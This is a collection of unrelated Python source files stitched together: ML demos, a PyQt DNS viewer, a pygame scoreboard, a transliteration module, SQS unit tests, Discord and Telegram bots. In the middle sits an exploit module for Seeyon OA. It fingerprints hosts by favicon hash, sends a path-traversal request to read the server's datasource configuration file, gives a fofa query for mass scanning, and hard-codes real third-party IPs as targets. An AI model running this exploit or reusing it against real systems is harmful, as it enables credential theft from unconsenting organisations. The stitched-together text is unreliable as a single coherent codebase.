import numpy as np
from sklearn.datasets import make_classification
import sklearn.linear_model

from ml_from_scratch.logistic_regression import LogisticRegression
from ml_from_scratch.utils import train_test_split, accuracy_score

def main():
    X, y = make_classification(n_samples=100, n_features=10, n_classes=2)
    X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.4)
    n_samples, n_features = np.shape(X)

    model = LogisticRegression()
    model.fit(X_train, y_train)

    model_sklearn = sklearn.linear_model.LogisticRegression(penalty='none', solver='sag')
    model_sklearn.fit(X_train, y_train)

    y_pred = model.predict(X_test)
    accuracy = accuracy_score(y_test, y_pred)
    print('Accuracy: %s' % accuracy)

    y_pred_sklearn = model_sklearn.predict(X_test)
    accuracy_sklearn = accuracy_score(y_test, y_pred_sklearn)
    print('Accuracy from sklearn: %s' % accuracy_sklearn)

if __name__ == '__main__':
    main()


#-*-coding:utf-8-*-

import sys
import csv
import dns.resolver
import time
#pip3 install PyQt5
from PyQt5.QtWidgets import *
from PyQt5.QtCore import *
from PyQt5.QtGui import QIcon, QPixmap

class MyWindow(QWidget):
    def __init__(self):
        super().__init__()
        self.setup_UI()

    def setup_UI(self):
        # set up window size
        self.setGeometry(500, 100, 800, 500)
        self.setWindowTitle("Simple Viewer")

        # set Table
        self.table_Widget = QTableWidget(self)

        # set Column
        self.table_Widget.setColumnCount(4)
        self.colum_setting()
        self.table_Widget.resizeColumnsToContents()
        self.table_Widget.resizeRowsToContents()

        # nslookup
        self.title_1 = QLabel("Nslookup")
        self.lablName1 = QLabel("Main_DNS")
        self.editName1 = QLineEdit()
        self.lablName2 = QLabel("Sub_DNS")
        self.editName2 = QLineEdit()
        self.lablName3 = QLabel("Domain")
        self.editName3 = QLineEdit()
        self.btn_Ok = QPushButton("View ip")
        self.btn_Ok.clicked.connect(self.btnOk_Clicked)

        self.title_2 = QLabel("\nCsv Viewer")
        # open button, close button
        self.btn_open = QPushButton("파일 열기", self)
        self.btn_open.clicked.connect(self.file_open)

        self.btn_close = QPushButton("창닫기", self)
        self.btn_close.clicked.connect(QCoreApplication.instance().quit)

        # mal ip print
        self.btn_sort = QPushButton("ip 출력", self)
        self.btn_sort.clicked.connect(self.find_mal_ip)

        # 선택한 ip 출력
        self.lblName = QLabel("보고싶은 ip 입력")
        self.editName = QLineEdit()
        self.btnOk = QPushButton("OK")
        self.btnOk.clicked.connect(self.btnOkClicked)

        # layout
        title_layout = QHBoxLayout()
        title_layout.addWidget(self.title_1)

        title_layout2 = QHBoxLayout()
        title_layout2.addWidget(self.title_2)

        ip_layout = QHBoxLayout()
        ip_layout.addWidget(self.lablName1)
        ip_layout.addWidget(self.editName1)
        ip_layout.addWidget(self.lablName2)
        ip_layout.addWidget(self.editName2)
        ip_layout.addWidget(self.lablName3)
        ip_layout.addWidget(self.editName3)
        ip_layout.addWidget(self.btn_Ok)

        test_layout = QHBoxLayout()
        test_layout.addWidget(self.lblName)
        test_layout.addWidget(self.editName)
        test_layout.addWidget(self.btnOk)

        high_LayOut = QHBoxLayout()
        high_LayOut.addWidget(self.btn_open)
        high_LayOut.addWidget(self.btn_close)

        low_LayOut = QVBoxLayout()
        low_LayOut.addWidget(self.table_Widget)
        self.table_Widget.setColumnWidth(0, 220)
        self.table_Widget.setColumnWidth(1, 200)
        self.table_Widget.setColumnWidth(2, 203)
        self.table_Widget.setColumnWidth(3, 130)
        low_LayOut.addWidget(self.btn_sort)

        layout = QVBoxLayout()
        layout.addLayout(title_layout)
        layout.addLayout(ip_layout)
        layout.addLayout(title_layout2)
        layout.addLayout(low_LayOut)
        layout.addLayout(test_layout)
        layout.addLayout(high_LayOut)

        self.setLayout(layout)

    def file_open(self):
        self.table_Widget.clear()
        self.colum_setting()
        self.table_Widget.setRowCount(0)
        files = QFileDialog.getOpenFileNames(self)
        for f in files[0]:
            file_name = f.split('/')[-1]
            file_path = f
            if (".csv" in file_name):
                self.line_list = []
                self.ip = []

                f_csv = open(file_path, 'r', encoding='utf-8')
                rdr = csv.reader(f_csv)
                for line in rdr:
                    row_numb = self.table_Widget.rowCount()
                    self.table_Widget.insertRow(row_numb)
                    i = (int(line[0])-1)
                    # csv list input
                    self.table_Widget.setItem(i, 0, QTableWidgetItem(line[1]))
                    self.table_Widget.setItem(i, 1, QTableWidgetItem(line[2]))
                    self.table_Widget.setItem(i, 2, QTableWidgetItem(line[3]))
                    self.table_Widget.setItem(i, 3, QTableWidgetItem(line[4]))

                    self.ip.append(line[3])
                    self.line_list.append(line)

                f_csv.close()

            else:
                QMessageBox.about(self, "Warning", "This is not csv file")

    def colum_setting(self):
        self.table_Widget.setHorizontalHeaderLabels(['Time', 'Address', 'ip', 'dns'])

    def find_mal_ip(self):
        try:
            QMessageBox.about(self, "Malicious ip", "\n".join(set(self.ip)))
        except:
            QMessageBox.about(self, "Warning", "Put file first")

    def btnOkClicked(self):
        try:
            input_ip = self.editName.text()
            self.table_Widget.clear()
            self.colum_setting()
            self.mali_ip = set(self.ip)
            row_number = 0
            add_list = []
            self.table_Widget.setRowCount(0)

            for index in range(len(self.line_list)):
                self.table_Widget.removeRow(index)

            for i in range(len(self.line_list)):
                if(self.line_list[i][3] in (input_ip)):
                    add_list.append(self.line_list[i])

            for i in range(len(add_list)):
                row_numb = self.table_Widget.rowCount()
                self.table_Widget.insertRow(row_numb)
                self.table_Widget.setItem(row_number, 0, QTableWidgetItem(add_list[i][1]))
                self.table_Widget.setItem(row_number, 1, QTableWidgetItem(add_list[i][2]))
                self.table_Widget.setItem(row_number, 2, QTableWidgetItem(add_list[i][3]))
                self.table_Widget.setItem(row_number, 3, QTableWidgetItem(add_list[i][4]))
                row_number += 1
        except:
            QMessageBox.information(self, "Warning", "Input only ip")

    def btnOk_Clicked(self):
        try:
            main_dns = self.editName1.text()
            sub_dns = self.editName2.text()
            domain = self.editName3.text()
            domain = domain.replace('http://','')
            domain = domain.replace('https://','')
            self.table_Widget.clear()
            self.colum_setting()

            resolver = dns.resolver.Resolver()
            try:
                # main dns query
                resolver.nameservers = [main_dns]
                answers = resolver.query(domain)
            except (dns.resolver.NoAnswer, dns.resolver.NXDOMAIN):
                # sub dns query
                resolver.nameservers = [sub_dns]
                answers = resolver.query(domain)
                pass

            dns_address = []
            for rdata in answers:
                dns_address.append(rdata.address)

            QMessageBox.information(self, "Nslookup", str(domain) + "\n\n" + str("\n".join(set(dns_address))))

        except:
            QMessageBox.information(self, "Warning", "Input Correct please")

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = MyWindow()
    window.show()
    app.exec_()


import pygame
from gui import GUI
from player import Player
from match import Match
from textObject import TextObject
from BitdoKeyMappings import initMapping, parseButton

def GUI_mainLoop(firstServer, numOfServes):
    mainLoop = GUI()

    player1 = Player("player1", 0, 200, 25)
    player2 = Player("player2", 1, 500, 25)
    currentMatch = Match(player1, player2, firstServer, numOfServes, 5)
    player1.textFunc = currentMatch.getScore
    player2.textFunc = currentMatch.getScore

    player1ScoreStr = str(currentMatch.score['player1'])
    player2ScoreStr = str(currentMatch.score['player2'])

    player1Score = TextObject("scorePlayer1", player1ScoreStr, 200, 25, 100)
    player2Score = TextObject("scorePlayer2", player2ScoreStr, 500, 25, 100)
    serveIndicatorPlayer1 = TextObject("servePlayer1", "-->", 525, 200, 125)
    serveIndicatorPlayer2 = TextObject("servePlayer2", "<--", 175, 200, 125)
    servingColor = (255,117,73)
    notServingColor = (200,199,211)

    keyMapping = initMapping()
    keyMapping["rshoulder"] = lambda x: currentMatch.scorePoint(x)

    mainLoop.addGUIObject(player1Score)
    mainLoop.addGUIObject(player2Score)
    mainLoop.addGUIObject(serveIndicatorPlayer1)
    mainLoop.addGUIObject(serveIndicatorPlayer2)
    mainLoop.setupGUI()

    running = True
    while running:
        for event in pygame.event.get():
            if event.type == pygame.QUIT:
                running = False
                break;
            if event.type == pygame.KEYDOWN and event.key == pygame.K_ESCAPE:
                running = False
                pygame.display.set_mode((700,400))
                break;
            if event.type == pygame.JOYBUTTONDOWN:
                button = parseButton(event)
                if button in keyMapping and keyMapping[button] is not None:
                    print(event)
                    if event.joy is not None:
                        score = None
                        if event.joy == 0:
                            score = keyMapping[button]("player1")
                        elif event.joy == 1:
                            score = keyMapping[button]("player2")
                    player1Score.text = str(score['player1'])
                    player2Score.text = str(score['player2'])
                    if(currentMatch.currentServer == "player1"):
                        serveIndicatorPlayer1.color = servingColor
                        serveIndicatorPlayer2.color = notServingColor
                    elif(currentMatch.currentServer == "player2"):
                        serveIndicatorPlayer1.color = notServingColor
                        serveIndicatorPlayer2.color = servingColor

                    print(score)

        pygame.display.update()
        mainLoop.update()
        mainLoop.draw()
        mainLoop.clock.tick(30)

    mainLoop.objects = []


# coding=utf-8
# @Author   : zpchcbd HG team
# @Time     : 2021-09-20 12:32

from core.variablemanager import GlobalVariableManager
from core.module.modulemanager import multiScript
from core.MyEnums import *
from core.request.asynchttp import *
from exploit.web import BaseScript
from colorama import Fore
from tqdm import tqdm
import hashlib

# fofa: app="致远互联-OA"
# python batch.py -m exploit.web.OA.Seeyon.webmail_do_readfile -cs -fs "app=\"致远互联-OA\""

class Script(BaseScript):
    name = 'Seeyon'

    def __init__(self, target, session):
        super().__init__()
        # 漏洞目标
        self.target = target
        # 漏洞等级
        self.bugLevel = BugLevel.HIGH
        # 类型
        self.bugType = BugType.READFILE
        # 编号
        self.bugNumber = ''
        # 来源
        self.refer = ''
        # 特定路径判断
        self.detectPathList = ['/favicon.ico']
        # exec
        self.execPathList = [
            '/seeyon/webmail.do?method=doDownloadAtt&filename=test.txt&filePath=../conf/datasourceCtp.properties']
        # session
        self.session = session
        # 相关信息
        self.info = '''
        致远OA A6-V5
        致远OA A8-V5
        致远OA G6
        '''
        self.favicon = ['cdc85452665e7708caed3009ecb7d4e2',
                        '17ac348fcce0b320e7bfab3fe2858dfa',
                        '57f307ad3764553df84e7b14b7a85432',
                        '3c8df395ec2cbd72782286d18a286a9a',
                        '2f761c27b6b7f9386bbd61403635dc42',
                        '055c3de1ef212cc16bec218c3ae08ca7']

    async def detect(self):
        try:
            for detectPath in self.detectPathList:
                url = f'http://{self.target}{detectPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{detectPath}'
                async with self.session.get(url=url, headers=self.headers, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None:
                        text = await response.read()
                        await asyncio.sleep(2)
                        m1 = hashlib.md5()
                        m1.update(text)
                        theMD5 = m1.hexdigest()
                        for _ in self.favicon:
                            if _ == theMD5:
                                self.flag = True
                                self.addInGlobalVariable(self.name)
                                tqdm.write(Fore.RED + '[{}] {}'.format('Seeyon Finger', url))
                                return {'name': 'Seeyon Finger', 'url': url, 'software': 'Seeyon'}
        except Exception:
            return None

    async def exec(self):
        try:
            for execPath in self.execPathList:
                url = f'http://{self.target}{execPath}' if self.target.startswith(
                    ('http:', 'https:')) is False else f'{self.target}{execPath}'
                async with self.session.get(url=url, timeout=self.reqTimeout, verify_ssl=False) as response:
                    if response is not None:
                        text = await response.text()
                        await asyncio.sleep(2)
                        if 'workflow' in text:
                            tqdm.write(Fore.RED + '[{}] {}'.format('Seeyon ReadFile', url))
                            return {'name': 'Seeyon ReadFile', 'url': url, 'software': 'Seeyon'}
        except Exception:
            return None

    async def attack(self, semaphore, pbar):
        async with semaphore:
            a = await self.detect()
            if a is not None:
                self.vulList.append(a)
            if self.flag:
                b = await self.exec()
                if b is not None:
                    self.vulList.append(b)
        pbar.update(1)
        return self.vulList

if __name__ == '__main__':
    import requests
    import hashlib

    resp = requests.get('https://50.84.113.154:8443/favicon.ico', verify=False)
    if resp.status_code == 200:
        m1 = hashlib.md5()
        m1.update(resp.content)
        theMD5 = m1.hexdigest()
        print(theMD5)
    #
    # semaphore = asyncio.Semaphore(500)
    # sc = Script('61.150.65.205:9999', 1)
    # l = asyncio.get_event_loop()
    # l.run_until_complete(sc.attack(semaphore))


#!/usr/bin/env python
# -*- coding: utf-8 -*-

from __future__ import print_function
import codecs
import re
import sys
import xml.etree.ElementTree as ET

# Default transliteration framework.
# Uses ICU-like syntax of transliteration rules.

# TODO: 13-Dec-2016
# 1. Remove testing from this file.
# 2. Complete conversion into classes.
# 3. Determine how to use any transliteration rules from upload.

# Take a transliteration rule with phases.
# Extract shortcuts such as "$nondigits = [^\u1040-\u1049];
# clauses "\u107B > \u1039 \u1018 ;
# Separate the phases with "::Null;
# For each phase,
#   for each clause in phrase,
#     replace with result in all cases

# Globals
allPhases = None
debug_output = False

class Rule():
  # Stores one rule of a phase, including substitution information
  def __init__(self, pattern, substitution,
               context = None,
               after_context=None,
               before_reposition=None,
               after_reposition=None,
               id=0):
    self.id = id
    self.pattern = pattern
    self.re_pattern = re.compile(pattern, re.UNICODE)
    self.subst = substitution
    self.context = context
    self.after_context = after_context
    self.before_reposition = before_reposition
    self.after_reposition = after_reposition
    #? Store info on repositioning cursor

class Phase():
  # one phase of the transliteration spec
  def __init__(self, id=0):
    self.rules = []     # Old tuples
    self.RuleList = []  # Rule objects
    self.phase_id = id

  def fillRules(self, rulelist):
    global debug_output

    # set up pattern and subst value for each rule
    parts_splitter = re.compile('>|→')
    rule_pattern = re.compile(
      '(?P<context>[^\}]*)(?P<context_mark>\}?)(?P<after_context>[^>|→]*)\
[>→](?P<before_reposition>[^|]*)(?P<reposition_mark>\|?)(?P<after_reposition>[^;]*)'\
'(?P<final_semicolon>;?)(?P<comment>#?.*)')

    index = 0
    for rule1 in rulelist:
      # TODO: handle reposition with unescaped '|'
      resposition = rule1.find('|')
      # TODO: handle context with unescaped '{'
      context = rule1.find('}')

      # Extract parts for context, matching, and output with respositioning
      test_match = rule_pattern.match(rule1)
      context = None
      before_context = None
      after_context = None
      before_reposition = None
      after_reposition = None
      if test_match:
        groups = test_match.groupdict()
        if groups['reposition_mark']:
          after_reposition = re.sub(' ', '', uStringsFixPlaceholder(groups['after_reposition']))
        before_reposition = re.sub(' ', '', uStringsFixPlaceholder(groups['before_reposition']))
        if groups['context_mark']:
          after_context = re.sub(' ', '', uStringsFixPlaceholder(groups['after_context']))
        context = re.sub(' ', '', uStringsFixPlaceholder(groups['context']))

      rule1 = rule1.strip()
      rule = re.sub('\n', '', rule1)
      # Remove comment lines.
      # TODO: remove final semicolon
      if rule and rule[0] != '#':
        # TODO: Use matched results instead of simple split
        parts = parts_splitter.split(rule)
        pattern = re.sub(' ', '', parts[0]) # but don't remove quoted space
        try:
          subst = re.sub(' ', '', uStringsFixPlaceholder(parts[1]))
          newPair = (pattern, subst)
          self.rules.append(newPair)
          self.RuleList.append(Rule(pattern, subst,
                                    context=context,
                                    after_context=after_context,
                                    before_reposition=before_reposition,
                                    after_reposition=after_reposition,
                                    id=index))  # Rule objects
        except IndexError as e:
          print('Error e = %s. Phase %s, %d rule = %s' % (e, self.phase_id, index, rule1))
          print('  Rule = >>%s<< %d' % (rule, len(rule)))
          break
        except:
          e = sys.exc_info()[0]
          print('!! Error e = %s. Phase %s, %d rule = %s' % (e, self.phase_id, index, rule1))
          print('  Rule = >>%s<< %d characters' % (rule, len(rule)))
          break
      index += 1

  def getRules(self):
    # Old style rules
    return self.rules

  def getRuleList(self):
    # List of rule objects
    return self.RuleList

  def apply(self, intext):
    # takes each rule (pattern, substitute), applying to intext
    for rule in self.rules:
      result = re.sub(rule[0], rule[1], intext)
      intext = result
    return result

def extractShortcuts(ruleString):
  # Shortcuts are clauses of the form "$id = re;  What about a literal ";?
  # also remove comment lines and blank lines
  shorcutPattern = '(\$\w+)\s*=\s*([^;]*)'
  matches = re.findall(shorcutPattern, ruleString)

  shortcuts = {}
  for m in matches:
    shortcuts[m[0]] = m[1]

  # Remove shortcuts and comments from input.
  shorcutPattern = '\$(\w+)\s*=\s*([^;]*);\n'
  commentPattern = '#[^\n]*\n+'
  stripped = re.sub(shorcutPattern, '', ruleString)
  smaller = re.sub(commentPattern, "", stripped)
  return (shortcuts, smaller)

def expandShortcuts(shortcuts, inlist):
  newlist = inlist
  if shortcuts:
    for key, value in shortcuts.items():
      key = re.sub('\$', '\$', key)
      sublist = re.sub(key, value, newlist)
      newlist = sublist
  return newlist

def splitPhases(ruleString):
  phases = ruleString.split('::Null;')
  return phases

def testZawgyiConvert():
  z1 = 'ဘယ္'
  u1 = ConvertZawgyiToUnicode(z1)

def ConvertZawgyiToUnicode(ztext):
  # Run the phases over the data.
  out1 = ztext

  for phase in phases:
    # Apply each regular expression with global replacement;
    rules = phases.rules
    for rule in rules:
      # apply
      continue

def uStringsFixPlaceholder(string):
  return re.sub(u'\$(\d)', subBackSlash, string) # Fix the replacement patterns

def uStringsToText(string):
  pattern = r'\\u[0-9A-Fa-f]{4}'
  result = re.sub(pattern, decodeHexU, string)
  return re.sub(u'\$(\d)', subBackSlash, result) # Fix the replacement patterns

def uStringToHex(string):
  result = ''
  for c in string:
    result += '%4s ' % hex(ord(c))
  return result

def subBackSlash(pattern):
  return '\\' + pattern.group(0)[1:]

def decodeHexU(uhexcode):
  # Convert \uhhhh in input hex code match to Unicode character
  text = uhexcode.group(0)[2:]
  return unichr(int(text, 16)).encode('utf-8')

class Transliterate():
  # Accepting a set of rules, create a transliterator with phases,
  # ready to apply them.

  def __init__(self, raw_rules, description='Default conversion'):
    # Get the short cuts.

    self.description = description
    # Convert Unicode escapes to characters
    self.raw_rules = raw_rules  #.decode('unicode-escape')

    (self.shortcuts, self.reduced) = extractShortcuts(self.raw_rules)
    # Expand short cuts.
    self.expanded = expandShortcuts(self.shortcuts, self.reduced)

    self.phaseStrings = splitPhases(self.expanded)

    # Create the phase objects
    self.phaseList = []
    index = 0
    for phase in self.phaseStrings:
      self.phaseList.append(Phase(index))
      rule_lines = phase.split('\n')
      phase_rules = []
      for r in rule_lines:
        # TODO: Handle lines with semicolon as left side of rule
        rule_parts = r.rsplit(';', 1)
        if rule_parts[0]:
          phase_rules.append(rule_parts[0])
        # Omit empty lines
      self.phaseList[index].fillRules(phase_rules)
      index += 1

    # Range of current string, for passing information to substFunction.
    self.start = 0
    self.limit = 0

  def printSummary(self):
    # Print the statistics
    print('%4d raw rules' % len(self.raw_rules))
    print('%4d shortcuts ' % len(self.shortcuts))
    print('%4d reduced ' % len(self.reduced))
    print('%4d phaseStrings ' % len(self.phaseStrings))
    print('%4d phaseList ' % len(self.phaseList))
    index = 0
    for phase in self.phaseList:
      print('  %3d rules in phase %2d' % (len(self.phaseList[index].rules), index))
      index += 1

  def getSummary(self):
    # Print the statistics
    result = {
      'raw rules': len(self.raw_rules),
      'shortcuts': len(self.shortcuts),
      'reduced': len(self.reduced),
      'phaseStrings': self.phaseStrings,
      'phaseList': len(self.phaseList)
    }
    return result

  def substFunction(matchObj):
    return 'UNFINISHED'

  def applyPhase(self, index, instring,  debug):
    # It should do:
    #  a. Find rule that matches from the start
    #  b. if a match, substitute text and move start as required
    # until start >= limit

    # For each rule, apply to instring.
    self.start = 0
    self.limit = len(instring) - 1
    ruleList = self.phaseList[index].RuleList

    currentString = instring
    matchObj = True
    while self.start <= self.limit:
      # Look for a rule that matches
      ruleIndex = 0
      matchObj = None
      self.limit = len(currentString) - 1

      foundRule = None
      for rule in ruleList:
        # Try to match each rule at the current start point.
        re_pattern = rule.re_pattern

        try:
          # look at the current position.
          matchObj = re_pattern.match(currentString[self.start:])
          # matchObj = re.match(rule.pattern, currentString[self.start:])
        except TypeError as e:
          print('***** TypeError EXCEPTION %s in phase %s, rule %s: %s -> %s' % (e,
            index, ruleIndex, uStringToHex(rule.pattern), uStringToHex(rule.subst)))
        except:
          e = sys.exc_info()[0]
          print('***** EXCEPTION %s in phase %s, rule %s: %s -> %s' % (e,
            index, ruleIndex, uStringToHex(rule.pattern), uStringToHex(rule.subst)))

        if matchObj:
          # Do just one substitution!
          foundRule = True

          # Size of last part of old string after the replacement
          cSize = len(currentString) - matchObj.end(0) - self.start  # Last part of old string not matched
          if not rule.before_reposition:
            substitution = rule.after_reposition
          else:
            # TODO: Handle case of before and after substitutions.
            substitution = rule.subst
          if not substitution:
            substitution = ''
          try:
            outstring = re.sub(rule.pattern, substitution, currentString[self.start:], 1)
          except TypeError as e:
            outstring = '&*&*& %s &*&*&' % substitution
          # Try to advance start.
          newString = currentString[0:self.start] + outstring
          self.limit = len(newString) - 1

          # Figure out the new start and limit.
          # New: don't advance if all the text is after the reposition mark.
          if not rule.before_reposition:
            self.start = self.start  # Unchanged
          else:
            # TODO: Find size of substitution of before_context
            self.start = self.limit - cSize + 1
          currentString = newString
          break
        ruleIndex += 1

      # Rule loop complete
      if not foundRule:
        # Increment position since no rule matched
        self.start += 1

    return currentString

  def transliterate(self, instring, debug=None):
    # Apply each phase to the incoming string or string list.

    if type(instring) == list:
      # Repeat on each list item.
      return [self.transliterate(item, debug) for item in instring]

    if type(instring) != bytes and type(instring) != str:
      return 'Error: type = %s. String or Unicode required' % type(instring)

    for phaseIndex in range(len(self.phaseList)):
      outstring = self.applyPhase(phaseIndex, instring, debug)
      instring = outstring

    # ?? .decode('unicode-escape')
    return outstring

# Derived class that takes an XML file from CLDR and create a transliterator from it
class TranslitXML(Transliterate):
  def __init__(self, file_path):
    self.path = file_path
    self.tree = None
    self.root = None
    self.rules_text = None
    self.transforms = None
    self.openFile()
    self.parseXmlTree()

    super(TranslitXML, self).__init__(self.rules_text)

    return

  def openFile(self):
    self.tree = ET.parse(self.path)
    self.root = self.tree.getroot()
    return

  def parseXmlTree(self):
    if self.root:
      # Look for the rules and get into proper shape
      self.transforms = self.root.find('transforms')
      self.transform = self.transforms.find('transform')
      text = self.transform.find('tRule').text
      #text = text.encode('unicode-escape')
      in_str = text.encode('unicode-escape')  # bytes with all chars escaped (the original escapes have the backslash escaped)
      in_str = in_str.replace(b'\\\\u', b'\\u')  # unescape the \
      text = in_str.decode('unicode-escape')
    self.rules_text = text
      # self.rules_text = self.transform.find('tRule').text.decode( 'unicode-escape' )
    return


from botocore.exceptions import NoCredentialsError
from django.test import TestCase
from unittest.mock import (
    Mock,
    patch,
)
import json

from django.conf import settings

from common.common_utils.aws_sqs_utils import (
    create_sqs_event,
    get_sqs_messages,
)

class TestCreateSQSEvent(TestCase):
    @patch('common.common_utils.aws_sqs_utils.boto3.client')
    def test_create_sqs_event(self, mock_boto3_client):
        # Given: Set up the test data
        queue_url = 'https://sqs.us-east-1.amazonaws.com/123456789012/test-queue'
        event_data = {'key': 'value'}

        # And: Mock the boto3.client and sqs.send_message calls
        mock_sqs_client = Mock()
        mock_boto3_client.return_value = mock_sqs_client
        mock_send_message_response = {'MessageId': '1234567890'}
        mock_sqs_client.send_message.return_value = mock_send_message_response

        # When: Call the function
        response = create_sqs_event(queue_url, event_data)

        # Then: Assert that sqs.send_message is called with the correct data
        mock_boto3_client.assert_called_once_with(
            'sqs',
            region_name='ap-northeast-2',
            aws_access_key_id=settings.AWS_IAM_ACCESS_KEY,
            aws_secret_access_key=settings.AWS_IAM_SECRET_ACCESS_KEY,
        )
        mock_sqs_client.send_message.assert_called_once_with(
            QueueUrl=queue_url,
            MessageBody=json.dumps(event_data),
        )

        # And: Assert the response from the function
        self.assertEqual(response, mock_send_message_response)

class TestGetSQSMessages(TestCase):
    @patch('common.common_utils.aws_sqs_utils.boto3.client')
    def test_get_sqs_messages(self, mock_boto3_client):
        # Given: Set up the test data
        queue_url = 'https://sqs.us-east-1.amazonaws.com/123456789012/test-queue'
        message_body = '{"key": "value"}'

        # And: Mock the boto3.client and sqs.receive_message calls
        mock_sqs_client = Mock()
        mock_boto3_client.return_value = mock_sqs_client
        mock_receive_message_response = {
            'Messages': [
                {
                    'Body': message_body,
                    'ReceiptHandle': 'mock-receipt-handle'
                }
            ]
        }
        mock_sqs_client.receive_message.return_value = mock_receive_message_response

        # When: Call the function
        result = get_sqs_messages(queue_url)

        # Then: Assert that sqs.receive_message and sqs.delete_message are called with the correct data
        mock_boto3_client.assert_called_once_with(
            'sqs',
            region_name='ap-northeast-2',
            aws_access_key_id=settings.AWS_IAM_ACCESS_KEY,
            aws_secret_access_key=settings.AWS_IAM_SECRET_ACCESS_KEY,
        )
        mock_sqs_client.receive_message.assert_called_once_with(
            QueueUrl=queue_url,
            MaxNumberOfMessages=1
        )
        mock_sqs_client.delete_message.assert_called_once_with(
            QueueUrl=queue_url,
            ReceiptHandle='mock-receipt-handle'
        )

        # And: Assert the result
        expected_result = {'key': 'value'}
        self.assertEqual(result, expected_result)

    @patch('common.common_utils.aws_sqs_utils.boto3.client', side_effect=NoCredentialsError())
    def test_get_sqs_messages_with_exception(self, mock_boto3_client):
        # Given: Set up the test data
        queue_url = 'https://sqs.us-east-1.amazonaws.com/123456789012/test-queue'

        # Expected: Call the function and expect an exception
        with self.assertRaises(Exception):
            get_sqs_messages(queue_url)


import discord
from discord.ext import commands, tasks

bot = commands.Bot (command_prefix="!")

token = "토큰"

@bot.event
async def on_ready():
    print("Bot Connected")
    print(f"Bot name: {bot.user.name}")
    print(f"ID: {bot.user.id}")

@bot.command()
async def ping(ctx):
    await ctx.send(":ping_pong:  Pong!")

bot.run(token)


# Imports
import tensorflow as tf
import os
import cv2
import numpy as np
import matplotlib.pyplot as plt

def load_data(directory):
    directories = [d for d in os.listdir(directory) if os.path.isdir(os.path.join(directory, d))]
    labels = []
    images = []
    print(directories)
    for d in directories:
        subdir = os.path.join(directory, d)
        print(subdir)
        filenames = [ os.path.join(subdir, file_name) for file_name in os.listdir(subdir) if file_name.endswith('.ppm')]
        for file_name in filenames:
            images.append(cv2.imread(file_name))
            labels.append(int(d))
    return images, labels

Root = '/data/Belgium_TSC/'
train_directory = os.path.join(Root, 'Training')
images, labels = load_data(train_directory)
images = np.array(images)
labels = np.array(labels)

images28 = [cv2.resize(image, (28, 28), interpolation = cv2.INTER_AREA) for image in images]
images28 = [cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) for image in images28]

model = tf.keras.models.Sequential([
  tf.keras.layers.Conv2D(32, (3, 3), activation='relu', input_shape=(28, 28,1)),
  tf.keras.layers.MaxPooling2D((2, 2)),
  tf.keras.layers.Conv2D(64, (3, 3), activation='relu'),
  tf.keras.layers.MaxPooling2D((2, 2)),
  tf.keras.layers.Conv2D(64, (3, 3), activation='relu'),
  tf.keras.layers.Flatten(),
  tf.keras.layers.Dense(128, activation='relu'),
  tf.keras.layers.Dense(62, activation='softmax')
])
model.summary()
model.compile(optimizer='adam',
              loss='sparse_categorical_crossentropy',
              metrics=['accuracy'])
images28 = np.array(images28)
images_extend = np.expand_dims(images28, -1)
model.fit(images_extend, np.array(labels), epochs=100)


import argparse
import json
import os
import sys

import socks
from telethon import TelegramClient

from tools.down_file import down_group
from tools.monit import StartMonit
from tools.tool import print_all_channel, Hook, print_group, initDb, md5
from tools.upload_file import upload_file

# 1.创建解释器
parser = argparse.ArgumentParser()
# 2.创建一个互斥参数组
mutex_group = parser.add_mutually_exclusive_group()
# 3.添加需要的参数
parser.add_argument('-c', '--config', default='config.json', help='配置文件')
parser.add_argument('-re', '--refresh', action='store_true', help='刷新缓存')
mutex_group.add_argument('-up', '--upload', action='store_true', help='上传文件')
mutex_group.add_argument('-down', '--download', action='store_true', help='下载文件')
mutex_group.add_argument('-print', action='store_true', help='打印消息')
mutex_group.add_argument('-m', '--monit', action='store_true', help='监控频道')
parser.add_argument('-id', help='频道ID')
parser.add_argument('-user', help='指定下载用户', default=None)
parser.add_argument('--range', default='>0', help='下载范围')
parser.add_argument('-path', help='上传路径')
parser.add_argument('-dau', default='N', choices=['y', 'Y', 'n', 'N'], help='上传完成删除原文件')
# 3.进行参数解析
args = parser.parse_args()
config_path = args.config
# 配置处理开始
with open(config_path, 'r', encoding='utf-8') as f:
    config = json.load(f)
api_id = config.get('api_id')
api_hash = config.get('api_hash')
phone = config.get('phone')
bot_token = config.get('bot_token')
if (phone is not None and bot_token is not None) or (phone is None and bot_token is None):
    print('请确认使用机器人登录还是电话号码登录')
    exit()
if phone:
    md5Token = md5(phone)
else:
    md5Token = md5(bot_token)
initDb(md5Token)
os.environ['save_path'] = save_path = config.get('save_path')
proxy_ip = config.get('proxy_ip')
proxy_port = config.get('proxy_port')
if proxy_port is not None:
    if proxy_ip is None:
        proxy_ip = '127.0.0.1'
    client = TelegramClient(md5Token, api_id, api_hash, proxy=(socks.SOCKS5, proxy_ip, proxy_port))
else:
    client = TelegramClient(md5Token, api_id, api_hash)

# 配置处理结束

async def upDate_dialogs():
    await client.get_dialogs()

# 展示登陆的信息
def show_my_inf(me):
    print("-----****************-----")
    print("Name:", me.username)
    print("ID:", me.id)
    print("-----login successful-----")

async def client_main():
    print("-client-main-")
    me = await client.get_me()
    show_my_inf(me)

if __name__ == '__main__':
    # 除了刷新缓存，都需要频道ID
    if not args.refresh and args.id is None:
        sys.exit(1)
    if args.upload and args.path is None:
        print('缺失上传路径')
        sys.exit(1)
    with client.start(phone=phone, bot_token=bot_token):
        client.loop.run_until_complete(client_main())
        client.loop.run_until_complete(Hook(client))
        if args.refresh:
            print_all_channel(client=client)
        elif args.download:
            if 't.me' in args.id:
                tmpList = args.id.split('/')
                channel_id = tmpList[-2]
                plus_func = '=' + tmpList[-1]
            else:
                channel_id = args.id
                plus_func = args.range
            for _id in channel_id.split('|'):
                client.loop.run_until_complete(down_group(client, _id, plus_func, args.user))
        elif args.upload:
            del_after_upload = True if args.dau.upper() == 'Y' else False
            client.loop.run_until_complete(upload_file(client, args.id, args.path, del_after_upload))
        elif args.print:
            client.loop.run_until_complete(print_group(client, args.id))
        elif args.monit:
            channel_ids = args.id.split(',')
            client.loop.run_until_complete(StartMonit(client, channel_ids))
            client.run_until_disconnected()


#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import absolute_import
import time
import pytest
from os import path
from Params.params import get_value
from Common import Operate
from Common import Consts
from Common import Assert

import sys

